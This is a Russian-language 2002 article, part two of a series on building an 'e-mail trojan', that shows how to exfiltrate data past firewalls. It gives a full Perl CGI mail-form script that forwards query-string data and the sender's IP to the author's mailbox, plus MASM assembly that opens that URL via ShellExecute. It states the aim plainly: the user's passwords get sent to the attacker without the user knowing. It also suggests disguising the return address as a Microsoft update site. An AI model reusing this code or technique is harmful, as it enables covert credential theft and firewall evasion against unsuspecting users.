Статьи о почте

Новости

Все новости

Разное в мире IT

Все заметки

яхта в аренду во Франции и Греции Труба вентиляционная оцинкованная. Труба оцинкованная сталь2пс 3сп 10 2кп2 кг.
mailinfo.ru - Статьи о почте

E-mail троян #2

Прислал(а) Danil [13 февраля 2002]

раздел: [Безопасность]

Продолжаем статьи про троян. Прежде чем перейти к firewall-ам (а именно тему о том ,как заставить их "сходить в сад"), рассмотрим отсылку сообщения, которую они не отловят. А именно отсылку через так называемую обратную форму. Все видели такие формы на web-страницах (кто не видел, на моем есть) - их можно заполнить и запустится скрипт, который отошлет сообщение на нужный e-mail. Обычно такая форма - это в html тег <form action="cgi-bin/mail.cgi" method=post>, и скрипт "*.cgi". Всю инфу по ним можно найти в инете. При вызове метода submit (нажатие кнопки или еще чего-то), содержимое формы будет добавлено к URL в следующей форме: "http:\\\\www.domain.com\\mail.cgi? name=value&name=value& name=value". Где "name" - имя input-ов и т.п., а "value" - введенные в эти input-ы данные. Вывод напрашивается сам собой: сделать эмуляцию заполнения тела письма и эмулюцию submit. Проще говоря: юзер сам зашел, сам ввел свои пароли и сам это письмо нам отправил.

В WinAPI (универсалы хреновы) есть функция "ShellExecute", которая способна открывать указанный url вот таким образом: "ShellExecute(0,\'open\',\'http://www.danil.dp.ua\',\'\',\'\',SW_HIDE);". Последним параметром мы скрываем приложение. При выполнении этой команды, маздай запускает броузер по умолчанию и открывает url http://www.danil.dp.ua/. Теперь, если мы запустим "ShellExecute (0,\'open\', \'http://www.danil.dp.ua/cgi-bin/mail.cgi? comment=Hi I am troyan2\',\'\',\'\' ,SW_HIDE);" и напишем соответствующий скрипт, то это будет все равно, что просубмититься в форме с заполненным input-ом "comment".

Приводить здесь html с формой я не буду - есть на http://www.danil.dp.ua/ - "послать мне мыло (web)"--"view source". Обратную форму я когда-то взял у Vicont (http://alex.azdata.net/) - потом только ее переделывал под свои нужды. Вот текст "mail.cgi":

#!/usr/local/bin/perl
# Путь к perl
$mail_prog = "/usr/sbin/sendmail" ;
# Путь к sendmail

$recip = "dndanil\\@ukr.net" ; 
# Кому письмо
$email = "dndanil\\@ukr.net" ;
# От кого письмо

$url = "http://www.danil.dp.ua/" ;
# Перейдет после отсылки
$subject = "Troyan2" ;
# Тема
$myurl = "http://www.danil.dp.ua/" ;
$errmsg = "<p>Введите правильный e-mail</p>\\n" ;
$errmsg1 = "<p>Введите правильный адрес домашней странички</p>\\n";

# Кодировка
$char = "Windows-1251";

&GetFormInput;

$comment = $field{\'comment\'} ;
# Получаем данные

$message = "" ;
$found_err = "" ;

if ($email !~ /.+\\@.+\\..+/) {
$message = $message.$errmsg ;
$found_err = 1 ; }

if ($found_err) {
&PrintError; }

open (MAIL, "|$mail_prog -t");
print MAIL "To: $recip\\n";
print MAIL "Reply-to: $email\\n";
print MAIL "From: $email\\n";
print MAIL "MIME-Version: 1.0\\n";
print MAIL "Content-Transfer-Encoding: 8bit\\n";
print MAIL "Content-Type: text/plain; charset=\\"$char\\"\\n";
print MAIL "Subject: $subject\\n\\n";
print MAIL "Reply-to: $email\\n";
print MAIL "From: $email\\n";
print MAIL "Subject: $subject\\n\\n";
print MAIL "".$comment ."\\n\\n";
print MAIL "Сообщение послали с: $ENV{REMOTE_ADDR}, Обозреватель: $ENV{HTTP_USER_AGENT}\\n";
close (MAIL);



print "Location: $url\\nURL: $url\\n\\n" ;

sub PrintError { 

print "Content-type: text/html\\n\\n";
print $message ;

exit 0 ;
return 1 ; 
}

sub GetFormInput {

(*fval) = @_ if @_ ;

local ($buf);
if ($ENV{\'REQUEST_METHOD\'} eq \'POST\') {
read(STDIN,$buf,$ENV{\'CONTENT_LENGTH\'});
}
else {
$buf=$ENV{\'QUERY_STRING\'};
}
if ($buf eq "") {
return 0 ;
}
else {
@fval=split(/&/,$buf);
foreach $i (0 .. $#fval){
($name,$val)=split (/=/,$fval[$i],2);
$val=~tr/+/ /;
$val=~ s/%(..)/pack("c",hex($1))/ge;
$name=~tr/+/ /;
$name=~ s/%(..)/pack("c",hex($1))/ge;

if (!defined($field{$name})) {
$field{$name}=$val;
}
else {
$field{$name} .= ",$val";

#if you want multi-selects to goto into an array change to:
#$field{$name} .= "\\0$val";
}

}
}
return 1;
}

Тут конечно много лишнего, но отбора лишнего возлагаю на ваши хрупкие плечи. Для того, чтобы запускать этот скрипт, необходимо оформиться в каком-нибудь сервисе, предоставляющем место под свою страницу с возможностью запускать cgi-скрипты. При оформлении они должны сообщить о путях к Perl и SendMail. В первой и второй строчках прописываем пути, ставим кому письмо и от кого, ставим тему (см. комментарии). Помещаем файл "mail.cgi" в cgi-bin каталог. Ставим ему свойства "rwxr-xr-x" коммандой "chmod 755". Теперь при открытии url "http://www.domain.com/cgi-bin/ mail.cgi?comment=Hi I am troyan2", мы должны получить письмо на dndanil@ukr.net с темой "Troyan2", в кодировке "Windows-1251" и с текстом "Hi, I am troyan2". Заразом там будет IP-адрес человека, пославшего сообщение или адрес его прокси-сервера. Теперь надо написать эмуляцию открытия этого url. Вот исходники на асме ("troyan2.asm"):

.486
.model flat,stdcall
option casemap:none

include \\masm32\\include\\shell32.inc
includelib \\masm32\\lib\\shell32.lib
; ----------------------------------------------
.DATA 
Url db "http://www.domain.com/cgi-bin/mail.cgi?comment=Hi I am troyan2",0 ; url
open db "open",0
; ----------------------------------------------
; ----------------------------------------------
; ----------------------------------------------
.CODE
start: 
; Запуск открытия url
invoke ShellExecute, 0, addr open, addr Url, 0, 0, 0
END start 



Естественно как трояна эту структуру использовать пока нельзя - у юзера при запуске этой проге вылезет окно броузера. Тут надо еще дорабатывать - ну так я все разжевывать и не обещал. У кого руки не кривые, тот разберется что делать. Преимущества данного метода такие: стандартные firewall-ы не отлавливают и свой обратный адрес можно править не имея доступа к юзеру. Недостатков тоже много. Кстати, можно возвратный адрес в скрипте ставить адрес обновления m$ window$.

web-страница программы : http://www.danil.dp.ua/;
исходники, статьи : www.danil.dp.ua/troyan.zip.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.